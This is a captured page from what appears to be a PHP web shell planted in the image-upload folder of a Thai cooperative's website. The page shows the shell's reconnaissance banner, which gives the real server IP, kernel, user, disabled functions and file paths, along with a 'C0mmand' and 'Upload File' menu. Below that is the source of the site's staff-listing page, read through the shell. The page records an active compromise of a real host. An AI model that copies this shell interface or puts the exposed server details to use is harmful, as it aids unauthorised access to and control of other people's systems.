|
Server IP : 124.109.2.77 / Your IP : 216.73.216.49 Web Server : Apache/2 System : Linux ns4.amiprocorp.com 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64 User : cpctlp ( 1020) PHP Version : 5.6.40 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : ON | cURL : ON | WGET : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/wget) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 329 OFF | Perl : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/perl) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 335 OFF | Python : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/python2) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 341 OFF Directory (0755) : /home/cpctlp/public_html/fonts/../loginForm/../../private_html/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
session_start();
header('Content-Type: text/plain; charset=utf-8');
header('Content-Type: text/html; charset=utf-8');
//กำหนดให้ IE อ่าน page นี้ทุกครั้ง ไม่ไปเอาจาก cache
header ("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header ("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header ("Cache-Control: no-cache, must-revalidate");
header ("Pragma: no-cache");
include ("Connections/config.php");
?>
<!DOCTYPE html>
<html>
<head>
<title><?php echo $config['web_title'];?></title>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<?php include ("head-script.php");?>
<style>
.circular--square {
border-top-left-radius: 50% 50%;
border-top-right-radius: 50% 50%;
border-bottom-right-radius: 50% 50%;
border-bottom-left-radius: 50% 50%;
width:100%;
max-width:200px;
max-height: 200px;
height: 80%;
}
.img-boss {
border: 1px solid #ddd;
border-radius: 4px;
padding: 5px;
width:100%;
max-width:200px;
max-height: 300px;
height: 110%;
}
.box-image-executive{
height: 350px; /*เปลียนความสูงของรูป*/
padding: 0;
}
.box-image-executive > .description{
background-color: rgba(0, 0, 0, 0.78);
padding: 10px;
color: #fff;
position: absolute;
width: 100%;
min-width: 255px;
bottom: 0;
height: 75px;
text-align: center;
display: table;
}
.box-image-executive > .description > .detail {
display: table-cell;
vertical-align: middle;
}
.box-image-executive > .description > .detail > .name{
font-size: 1.2em;
margin-bottom: 2px;
}
.box-image-executive > .description > .detail > .position{
font-size: 0.9em;
color: #b9b9b9;
}
.section-gap {
padding: 40px 0;
}
</style>
</head>
<?php
include ("Connections/function-sys.php");
include ("Connections/db.class.php");
$db = new sql($config['db_server'], $config['db_username'], $config['db_password'], $config['db_name'], $config['db_language']);
?>
<body>
<?php
include ("nav-bar.php");
include ("PictureHeader.php");
?>
<!-- <section style="background-color: #FF6600">
<div class="row justify-content-center" style="width: 100%">
<div class="wrap"><BR>
<h3 style="color: #FFFFFF;font-size: 20px;">แผนผังผู้บริหาร</h3><BR>
</div>
</div>
</section> -->
<section class="ftco-section contact-section">
<div class="container">
<div class="row" style="min-height: 450px;">
<!-- Start -->
<div class="col-lg-11">
<CENTER><h3 style="color: #FF6600;font-size: 20px;">เจ้าหน้าที่สหกรณ์</h3></CENTER>
</div>
<!-- Start blog Area -->
<div class="container" style="min-height: 400px;">
<div class="row">
<!-- Start -->
<?php
$sql ="select officer.*
from officer
order by officer.aID ";
$j=0;
foreach ($db->dbSearch($sql) as $i=>$arr) {
if($i>0 and ($j%3==0) ){
echo "</div><div class=\"col-lg-12\"><BR></div>
<div class=\"row\" align=\"center\">"; //เว้นบรรทัด
}
$k=$j%4;
if($i==0){
echo <<<DOC
<div class="col-lg-12" align="center">
<div class="col-lg-4" align="left"><BR></div>
<div class="col-lg-4" align="left">
<div class="col-sm-3 col-md-3" style="width: 255px;">
<div class="ibox no-borders" data-sr-id="5" style="; visibility: visible; -webkit-transform: translateY(0) scale(1); opacity: 1;transform: translateY(0) scale(1); opacity: 1;-webkit-transition: -webkit-transform 0.5s cubic-bezier(0.6, 0.2, 0.1, 1) 0s, opacity 0.5s cubic-bezier(0.6, 0.2, 0.1, 1) 0s; transition: transform 0.5s cubic-bezier(0.6, 0.2, 0.1, 1) 0s, opacity 0.5s cubic-bezier(0.6, 0.2, 0.1, 1) 0s; ">
<div class="ibox-content no-padding box-image-executive" id="executive-RQL0QXAX0G">
<div class="description">
<div class="detail">
<div class="name">$arr[aName]</div>
<div class="position">$arr[aPostion]</div>
</div>
</div>
<div class="backstretch" style="left: 0px; top: 0px; overflow: hidden; margin: 0px; padding: 0px; height: 349px; width: 262px; z-index: -999998; position: absolute;">
<div class="backstretch-item" style="position: absolute; margin: 0px; padding: 0px; border: none; width: 100%; height: 100%; z-index: -999999;">
<img alt="" src="admin/images/employee/$arr[aImg]" style="position: absolute; margin: 0px;width: 255px; max-width: none; left: 0px; top: -1.22714px; right: auto; bottom: auto;">
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="col-lg-4" align="left"><BR></div>
<div class="col-lg-12"><BR></div>
DOC;
}else
{
echo <<<DOC
<div class="col-lg-4" align="left">
<div class="col-sm-3 col-md-3" style="width: 255px;">
<div class="ibox no-borders" data-sr-id="5" style="; visibility: visible; -webkit-transform: translateY(0) scale(1); opacity: 1;transform: translateY(0) scale(1); opacity: 1;-webkit-transition: -webkit-transform 0.5s cubic-bezier(0.6, 0.2, 0.1, 1) 0s, opacity 0.5s cubic-bezier(0.6, 0.2, 0.1, 1) 0s; transition: transform 0.5s cubic-bezier(0.6, 0.2, 0.1, 1) 0s, opacity 0.5s cubic-bezier(0.6, 0.2, 0.1, 1) 0s; ">
<div class="ibox-content no-padding box-image-executive" id="executive-RQL0QXAX0G">
<div class="description">
<div class="detail">
<div class="name">$arr[aName]</div>
<div class="position">$arr[aPostion]</div>
</div>
</div>
<div class="backstretch" style="left: 0px; top: 0px; overflow: hidden; margin: 0px; padding: 0px; height: 349px; width: 262px; z-index: -999998; position: absolute;">
<div class="backstretch-item" style="position: absolute; margin: 0px; padding: 0px; border: none; width: 100%; height: 100%; z-index: -999999;">
<img alt="" src="admin/images/employee/$arr[aImg]" style="position: absolute; margin: 0px;width: 255px; max-width: none; left: 0px; top: -1.22714px; right: auto; bottom: auto;">
</div>
</div>
</div>
</div><BR>
</div>
</div>
DOC;
$j++;
}
}
?>
<BR><BR>
<!-- Stop -->
</div><!-- <div class="row"> -->
</div><!-- <div class="container" > -->
</section>
<!-- End blog Area -->
<!-- Stop -->
</div>
</div>
</section>
<?php include ("footer.php");?>
</body>
</html>